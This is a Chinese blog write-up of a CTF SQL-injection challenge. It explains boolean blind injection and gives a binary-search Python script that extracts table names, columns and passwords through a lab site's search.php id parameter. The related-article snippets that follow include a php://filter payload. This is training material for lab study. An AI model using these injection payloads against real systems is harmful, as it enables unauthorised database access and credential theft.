[极客大挑战 2019]FinalSQL 1

这篇主要是考察布尔盲注,而且他很贼,弄了两个输入框,但过滤的东西很多;真正的注入点在search.php传入的参数。说来惭愧,之前就做过布尔盲注的题目,结果又遇到了,一点都记不得了,还是得写个博客记一下。

布尔盲注

页面需要支持对布尔信息的回显,如True返回”Hello“,False返回“Wrong”。

原理

布尔盲注的过程中有点像猜单词的游戏,A心里想一个单词,B不断询问,A只能说‘是’或者‘不是’。

如A想一个单词apple。

B的问题 A的回答
第一个字母小于H吗?
第一个字母小于D吗?
第一个字母小于B吗?

至此,B已经知道了第一个字母是A。在这个过程中,B还可以使用二分法,加快得到答案。

代码层面

使用函数

函数名 函数作用
ascii(char a) 返回'a'的ascii码
substr(char *str, int start_pos, int num) 截取str的start_pos位置开始(包括str[start_pos])num个字符,在布尔注入中一般在循环中这样substr(str, i, 1),用于获取第i位置的字符
left(char * str, int num) 返回字符串str从左起num个字符, 布尔注入中,便需要拼接上一步的结果,不似substr方便
length(char *str) 获取字符串长度,一般在具体开始查询前,先查下字符串有几位

使用语句

一般格式如下, 意思是检查目标的第i位是不是n。

1 ^ (ascii( substr((select columnA from tableA), i【循环中的第i位】, 1)) == n)
语句 功能拆解
select columnA from tableA 目标数据
substr((select columnA from tableA), i【循环中的第i位】, 1) 目标数据的第i位
ascii( substr((select columnA from tableA), i【循环中的第i位】, 1)) 目标数据的第i位的ascii码
ascii( substr((select columnA from tableA), i【循环中的第i位】, 1)) == n 目标数据的第i位的ascii码是不是等于n
ascii( substr((select columnA from tableA), i【循环中的第i位】, 1)) > n 目标数据的第i位的ascii码是不是大于n(二分法)

这里的1^也可以看情况换成正常的and或者or

本题代码

直接搬得这个哥们的二分代码

import requests
# 使用二分法
url = ''
flag = ''
MaxLen = 250
for i in range(1,MaxLen):# range(1, 11) 从 1 开始到 11,[1, 2, 3, 4, 5, 6, 7, 8, 9, 10] range(0, 30, 5) 步长为 5 [0, 5, 10, 15, 20, 25]
low = 32
high = 128
mid = (low+high)//2
while(low<high):
payload = "http://7407ade4-c95c-4ed8-921b-7a5d559a623c.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)" %(i,mid)
# payload = "http://7407ade4-c95c-4ed8-921b-7a5d559a623c.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)" %(i,mid)
# payload = "http://7407ade4-c95c-4ed8-921b-7a5d559a623c.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" %(i,mid)
res = requests.get(url=payload)
if 'ERROR' in res.text:
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)

看着答案一点点出来还是蛮爽的

[极客大挑战 2019]FinalSQL 1的更多相关文章

  1. [极客大挑战 2019]FinalSQL

    0x00 知识点 盲注 0x01 解题 根据题目提示盲注,随便点几下找到注入点 发现我们输入^符号成功跳转页面,证明存在注入 1^(ord(substr((select(group_concat(sc ...

  2. BUUOJ [极客大挑战 2019]Secret File

    [极客大挑战 2019]Secret File 0X01考点 php的file伪协议读取文件 ?file=php://filter/convert.base64-encode/resource= 0X ...

  3. [原题复现][极客大挑战 2019]BuyFlag

    简介  原题复现:[极客大挑战 2019]BuyFlag  考察知识点:php函数特性(is_numeric().strcmp函数())  线上平台:https://buuoj.cn(北京联合大学公开 ...

  4. BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf)+[极客大挑战 2019]LoveSQL(联合注入)

    BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf) 记一道联合注入的题,这道题存在过滤. 经过手工的测试,网站会检验用户名和密码是否都存在,如果在用户名处插入注入语句,语句后面 ...

  5. 极客大挑战2019 http

    极客大挑战 http referer 请求头 xff 1.查看源码,发现secret.php 2.提示要把来源改成Sycsecret.buuoj.cn,抓包,添加Referer Referer:htt ...

  6. [BUUOJ记录] [极客大挑战 2019]RCE ME

    前面考察取反或者异或绕过,后面读Flag那里我用脏方法过了,没看出来考察啥 进入题目给出源码: <?php error_reporting(0); if(isset($_GET['code']) ...

  7. BUUCTF [极客大挑战 2019]Not Bad

    总的来说这是一个64位orw的题 开头先在主函数里分配了一个很大的空间 1 __int64 __fastcall main(int a1, char **a2, char **a3) 2 { 3 mm ...

  8. 极客大挑战 2019 web 部分解

    复现环境:buuoj 0x01:Havefun F12查看源码,明显html注释里是一段php get方式传参数,payload:http://f5cdd431-df98-487f-9400-e8d0 ...

  9. [极客大挑战 2019]HardSQL

    0x00 知识点 报错注入 链接: https://www.cnblogs.com/richardlee97/p/10617115.html 报错原因: 其原因主要是因为虚拟表的主键重复.按照MySQ ...

  10. [极客大挑战 2019]Upload

    0x00 知识点 一个常规上传题目,知识点全都来自前几天写的文章: https://www.cnblogs.com/wangtanzhi/p/12243206.html 1:某些情况下绕过后缀名检测: ...

随机推荐

  1. Spark - [01] 概述

    一.Spark是什么 Spark 是一种基于内存的快速.通用.可扩展的大数据分析引擎. Apache Spark is a unified analytics engine for large-sca ...

  2. mybatis-generator 自动生成mybatis代码与xml

    一.pxm.xml中引入mybatis-generator并配置 在build节点下的plugins下添加org.mybatis.generator 示例代码如下: <?xml version= ...

  3. idea社区版配置springboot项目问题分析及处理

    前言 记录一次使用IDEA社区版配置SpringBoot项目的经历,包括遇到的问题及解决过程 IDEA版本:IntelliJ IDEA 2024.2.3 (Community Edition) 问题描 ...

  4. 【moectf】wp

    http 用wsrx打开靶机 根据任务描述 得到moectf{basic_http_knowledge_oen0w64iYZqSeT6BT8c9OgFTV-KNMT6g} Web入门指北 打开pdf文 ...

  5. 从RNN、LSTM到NTM、MANN——神经网络的记忆与推理进化

    从RNN.LSTM到NTM.MANN--神经网络的记忆与推理进化 一.前言:为什么要研究记忆? (温馨提示:在阅读本文之前,请确保你已经对深度学习中最基本的概念有一定的了解,例如:激活函数.多层感知机 ...

  6. bee must have one register DataBase alias named `default`

    bee must have one register DataBase alias named default 在你初始化db,注册默认数据库时,看看你是否import初始化注册数据库驱动driver ...

  7. vue学习一(指令2.v-bind,v-model)

    2.1.v-bind:  单向绑定(修改数据项,标签内容也改变:修改标签内容,数据项不会改变) 给html标签的属性绑定,可以用来动态修改class,简写    v-bind:style    =   ...

  8. Linux下如何重启Oracle

    操作步骤 切换到oracle用户 su – oracle 通过sqlplus以管理员身份登录 sqlplus / as sysdba 然后执行 shutdown immediate 退出sqlplus ...

  9. Delphi让网页只允许在WebBrowser里面打开

    [添加组件] 添加 Internet->WebBrowser //显示网页 [添加事件] 鼠标点击WebBrowser组件,在Events事件选项框中找到. OnNewWindows2,OnSt ...

  10. DEV插件--Spreadsheet1电子表格

    常用操作Spreadsheet常用属性标题栏是否可见 Spreadsheet1.TitleBar.Visible=true标题栏背景颜色 Spreadsheet1.TitleBar.Interior. ...